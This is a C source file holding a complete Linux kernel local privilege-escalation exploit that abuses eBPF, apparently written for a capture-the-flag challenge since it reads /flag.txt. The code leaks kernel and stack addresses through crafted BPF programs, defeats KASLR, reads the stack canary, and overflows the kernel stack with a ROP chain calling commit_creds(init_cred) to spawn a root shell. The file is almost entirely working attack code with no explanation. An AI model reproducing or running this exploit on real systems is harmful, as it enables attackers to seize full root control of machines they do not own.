#define _GNU_SOURCE
#include <arpa/inet.h>
#include <linux/bpf_common.h>
#include <assert.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/netfilter.h>
#include <netinet/in.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <signal.h>

#include "bpf_insn.h"

uint64_t kaslr_base = 0x0;
uint64_t kaslr_offset = 0x0;

// Type alias
#define u64 unsigned long long
#define u32 unsigned int
#define u16 unsigned short
#define u8  unsigned char

#define i64 long long
#define i32 int
#define i16 short
#define i8 char

#define die(format, ...)                                                       \
    do {                                                                       \
        fprintf(stderr, "[!] at %s:%d\t " format " %s\n", __func__, __LINE__,  \
                ##__VA_ARGS__, strerror(errno));                               \
        exit(errno);                                                           \
    } while (0)

#define debug()                                                                \
    {                                                                          \
        puts("[*] pause...");                                                  \
        sleep(1);                                                              \
        getchar();                                                             \
    }

#define BPF_ROL 0xe0

int _bpf(int cmd, union bpf_attr *attr, uint32_t size)
{
    return syscall(__NR_bpf, cmd, attr, size);
}

int create_map(int value_size, int cnt)
{
    int map_fd;
    union bpf_attr attr = {.map_type = BPF_MAP_TYPE_ARRAY,
                           .key_size = 4,
                           .value_size = value_size,
                           .max_entries = cnt};

    map_fd = _bpf(BPF_MAP_CREATE, &attr, sizeof(attr));
    if (map_fd < 0)
    {
        die("[!] Error creating map");
    }
    // printf("[+] created map: %d\n\tvalue size: %d\n\tcnt: %d\n", map_fd,
        //    value_size, cnt);
    return map_fd;
}

int prog_load(struct bpf_insn *prog, int insn_cnt)
{
    int prog_fd;
    char log_buf[0x20000];
    union bpf_attr attr = {
        .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
        .insn_cnt = insn_cnt,
        .insns = (uint64_t)prog,
        .license = (uint64_t) "GPL",
        .log_level = 2,
        .log_size = sizeof(log_buf),
        .log_buf = (uint64_t)log_buf,
    };

    prog_fd = _bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
    if (prog_fd < 0){
        printf("[+] log_buf: %s\nLOG_END\n", log_buf);
        die("[!] Failed to load BPF prog!");
    }
    return prog_fd;
}

int update_item(int fd, int idx, uint64_t value)
{
    union bpf_attr attr = {
        .map_fd = fd,
        .key = (uint64_t)&idx,
        .value = (uint64_t)&value,
        .flags = BPF_ANY,
    };
    // printf("[+] update_item;\n\tmap_fd: %d\n\tidx: 0x%x\n\tvalue: 0x%lx\n", fd,
    // idx, value);
    return _bpf(BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

uint64_t get_item(int fd, uint64_t idx)
{
    char value[0x800];
    uint64_t index = idx;
    union bpf_attr *attr = calloc(1, sizeof(union bpf_attr));
    attr->map_fd = fd;
    attr->key = (uint64_t)&idx;
    attr->value = (uint64_t)value;

    if (_bpf(BPF_MAP_LOOKUP_ELEM, attr, sizeof(*attr)) < 0)
    {
        die("[!] Failed to lookup");
    }

    return *(uint64_t *)value;
}


int run_prog(int prog_fd, void *payload, size_t payload_size) {
    int ret = -1;
    int socks[2] = {0};
    if(0 != socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
    {
        goto done;
    }

    if(0 != setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(int)))
    {
        goto done;
    }

    if(payload_size != write(socks[1], payload, payload_size))
    {
        goto done;
    }
    ret = 0;

done:
    close(socks[0]);
    close(socks[1]);
    return ret;
}

int trigger_modprobe(int status_fd)
{
    char *argv = NULL;
    int fd = memfd_create("", MFD_CLOEXEC);
    int status = 0;


    if (write(fd, "\xff\xff\xff\xff", 4) < 0)
        die("[-] write");
    fexecve(fd, &argv, &argv);
    close(fd);

    return 1;
}

void get_flag(void){
    puts("[*] Returned to userland, setting up for fake modprobe");

    system("echo '#!/bin/sh\ncp /flag.txt /tmp/flag\nchmod 777 /tmp/flag\ncat /flag.txt' > /tmp/x");
    system("chmod +x /tmp/x");

    system("echo -ne '\xff\xff\xff\xff' > /tmp/crash");
    system("chmod +x /tmp/crash");
    // trigger_modprobe(0);

    puts("[*] Hopefully flag is readable");
    system("/bin/sh");

}

void leak_map(int mapfd){
    struct bpf_insn leak_prog[] = {
        BPF_MOV64_REG(BPF_REG_8, BPF_REG_1),       // r8 = r1, save ctx to r8
        BPF_MOV64_REG(BPF_REG_9, BPF_REG_10),      // r9 = rsp
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_9, -0x10),  // r9 = rsp - 0x10
                                                   //
        BPF_LD_MAP_FD(BPF_REG_1, mapfd),            // r1 = map1 fd
        BPF_MOV64_IMM(BPF_REG_0, 0),

        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),                                 // r2 = rbp
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8),                                // r2 = fp -8
        BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),                                  // key = [r2] = 0;
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),  // r0 = map1[0]
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),                                // jmp if(r0!=NULL)
        BPF_EXIT_INSN(),                                                      // else exit

        BPF_MOV32_IMM(BPF_REG_6, 0x2),
        BPF_ALU32_IMM(BPF_ROL, BPF_REG_6, 31),        
        
        BPF_MOV64_REG(BPF_REG_3, BPF_REG_0),           
        BPF_ALU64_REG(BPF_ADD, BPF_REG_3, BPF_REG_6),  

        BPF_MOV64_REG(BPF_REG_1, BPF_REG_10),           // r1 = rbp
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, -0x18),       // r1 = rbp - 0x18
        BPF_STX_MEM(BPF_DW, BPF_REG_1, BPF_REG_3, 0),   // *(u64 *)(r1) = r3; 

        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_LD_MAP_FD(BPF_REG_1, mapfd),                                      // r1 = map1 fd
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),                                 // r2 = rbp
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8),                                // r2 = fp -8
        BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1),                                  // key = [r2] = 1;
        BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),                                 // r3 = rbp
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -0x18),                             // r3 = rbp - 0x18
        BPF_MOV64_IMM(BPF_REG_4, 0),                                          // r4 = 0
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_update_elem),  // r0 = &map1[1]

        BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),           
        BPF_ALU64_REG(BPF_ADD, BPF_REG_3, BPF_REG_6),  

        BPF_MOV64_REG(BPF_REG_1, BPF_REG_10),           // r1 = rbp
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, -0x18),       // r1 = rbp - 0x18
        BPF_STX_MEM(BPF_DW, BPF_REG_1, BPF_REG_3, 0),   // *(u64 *)(r1) = r3; 

        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_LD_MAP_FD(BPF_REG_1, mapfd),                                      // r1 = map1 fd
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),                                 // r2 = rbp
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8),                                // r2 = fp -8
        BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0),                                  // key = [r2] = 1;
        BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),                                 // r3 = rbp
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -0x18),                             // r3 = rbp - 0x18
        BPF_MOV64_IMM(BPF_REG_4, 0),                                          // r4 = 0
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_update_elem),  // r0 = &map1[1]

        BPF_MOV64_IMM(BPF_REG_0, 0),   
        BPF_EXIT_INSN(),
    };

    int prog_fd = prog_load(leak_prog, sizeof(leak_prog) / sizeof(struct bpf_insn));
    printf("[+] prog_fd: %d\n", prog_fd);

    char payload[0x200] = { 0 };
    memset(payload, 0x41, sizeof(payload));

    if (run_prog(prog_fd, payload, 0x200) < 0)
        die("[!] Failed to run prog");
}

void aar(int mapfd, uint64_t addr){
    struct bpf_insn leak_prog[] = {
        BPF_MOV64_REG(BPF_REG_8, BPF_REG_1),       // r8 = r1, save ctx to r8
        BPF_MOV64_REG(BPF_REG_9, BPF_REG_10),      // r9 = rsp
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_9, -0x10),  // r9 = rsp - 0x10

        BPF_MOV64_REG(BPF_REG_1, BPF_REG_10),           // r1 = rbp
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, -0x18),       // r1 = rbp - 0x18
        BPF_STX_MEM(BPF_DW, BPF_REG_9, BPF_REG_1, 0),   // *(u64 *)(r9) = r1;

        BPF_MOV32_IMM(BPF_REG_6, 0x2),
        BPF_ALU32_IMM(BPF_ROL, BPF_REG_6, 31),        
        BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x8),         
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x8),         
        
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_8),             // r1 = ctx
        BPF_MOV64_IMM(BPF_REG_2, 0x10),                  // r2 = offset
        BPF_MOV64_REG(BPF_REG_3, BPF_REG_9),             // r3 = rsp - 0x10
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -0x8),         // r3 = rsp - 0x18
        BPF_MOV64_REG(BPF_REG_4, BPF_REG_6),             // r4 = length
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes),

        BPF_MOV64_REG(BPF_REG_3, BPF_REG_9),             // r3 = rsp - 0x10
        BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_3, 0),    // r3 = *(u64 *)(r3)
        BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_3, 0),    // r3 = *(u64 *)(r3)

        BPF_MOV64_REG(BPF_REG_1, BPF_REG_10),           // r1 = rbp
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, -0x18),       // r1 = rbp - 0x18
        BPF_STX_MEM(BPF_DW, BPF_REG_1, BPF_REG_3, 0),   // *(u64 *)(r1) = r3; 

        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_LD_MAP_FD(BPF_REG_1, mapfd),                                      // r1 = map1 fd
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),                                 // r2 = rbp
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8),                                // r2 = fp -8
        BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1),                                  // key = [r2] = 1;
        BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),                                 // r3 = rbp
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -0x18),                             // r3 = rbp - 0x18
        BPF_MOV64_IMM(BPF_REG_4, 0),                                          // r4 = 0
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_update_elem),  // r0 = &map1[1]

        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN(),
    };

    int prog_fd = prog_load(leak_prog, sizeof(leak_prog) / sizeof(struct bpf_insn));
    printf("[+] prog_fd: %d\n", prog_fd);

    char payload[0x200] = { 0 };
    memset(payload, 0x0, sizeof(payload));
    *(uint64_t *)(payload + 0x18) = addr; // set the address to leak

    if (run_prog(prog_fd, payload, 0x200) < 0)
        die("[!] Failed to run prog");
}

void stack_overflow(char *payload, size_t size){
    struct bpf_insn leak_prog[] = {
        BPF_MOV64_REG(BPF_REG_8, BPF_REG_1),       // r8 = r1, save ctx to r8
        BPF_MOV64_REG(BPF_REG_9, BPF_REG_10),      // r9 = rsp
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_9, -0x10),  // r9 = rsp - 0x10

        BPF_MOV32_IMM(BPF_REG_6, 0x2),
        BPF_ALU32_IMM(BPF_ROL, BPF_REG_6, 31),        
        BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x150),         
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0x8),
        
        BPF_MOV64_REG(BPF_REG_1, BPF_REG_8),             // r1 = ctx
        BPF_MOV64_IMM(BPF_REG_2, 0),                     // r2 = offset
        BPF_MOV64_REG(BPF_REG_3, BPF_REG_9),             // r3 = rsp - 0x10
        BPF_MOV64_REG(BPF_REG_4, BPF_REG_6),             // r4 = length
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes),

        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN(),
    };


    int prog_fd = prog_load(leak_prog, sizeof(leak_prog) / sizeof(struct bpf_insn));
    printf("[+] prog_fd: %d\n", prog_fd);

    char buf[0x200] = { 0 };
    memcpy(buf + 0x70, payload, size); 

    if (run_prog(prog_fd, buf, 0x200) < 0)
        die("[!] Failed to run prog");
}

void get_shell(){
    printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
    system("/bin/sh");
}

unsigned long user_cs, user_ss, user_sp, user_rflags;

void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs,cs;"
        "mov user_ss,ss;"
        "mov user_sp,rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
}

int main(int argc, char *argv[])
{
    save_state();
    signal(SIGSEGV, get_shell);

    pid_t pid = getpid();
    printf("[+] pid: 0x%x\n", pid);
    int spray_maps[0x100];
    int map1 = create_map(0x8, 0x4);
    for(int i = 0; i < 0x100; i++){
        spray_maps[i] = create_map(0x4, 0x1);
        if (spray_maps[i] < 0)
            die("[!] Failed to create spray map");
    }

    update_item(map1, 0, 0xdeadbeef); // map1[0] = 0

    if (map1 < 0 )
        die("Failed to create map\n");

    leak_map(map1);

    u64 leak = get_item(map1, 1) - 1;
    u64 stack = get_item(map1, 0) - 1;
    printf("[+] map1[1]: 0x%llx\n", leak);
    printf("[+] map1[0]: 0x%llx\n", stack);

    aar(map1, leak + 0x100);
    printf("[+] Leaked address: 0x%llx\n", leak + 0x100);
    u64 kaslr_leak = get_item(map1, 1);
    kaslr_offset = kaslr_leak - 0xffffffff82421920; 
    kaslr_base = 0xffffffff81000000 + kaslr_offset;
    printf("[+] kaslr_base: 0x%lx\n", kaslr_base);

    // puts("Debugging...");
    // getchar();
    aar(map1, stack + 0x90);
    u64 kernel_canary = get_item(map1, 1);
    printf("[+] kernel canary: 0x%llx\n", kernel_canary);

    // puts("Debugging...");
    // getchar();
    char payload[0xa0] = { 0 };
    uint64_t *chain = (uint64_t *)payload;
    *chain++ = kernel_canary; // canary
    *chain++ = 0xffffffff8206ebad + kaslr_offset; // pop rdi; ret
    *chain++ = 0xffffffff83255040 + kaslr_offset; // init_cred
    *chain++ = 0xffffffff81330170 + kaslr_offset; // commit_creds
    *chain++ = 0xffffffff81001637 + kaslr_offset; // kpti_trampoline
    *chain++ = 0x0;
    *chain++ = 0x0;
    *chain++ = get_shell; // get_shell
    *chain++ = user_cs; // user_cs
    *chain++ = user_rflags; // user_rflags
    *chain++ = user_sp; // user_sp
    *chain++ = user_ss; // user_ss

    stack_overflow(payload, 0xa0);

    // puts("Debugging...");
    // getchar();

    return 0;
}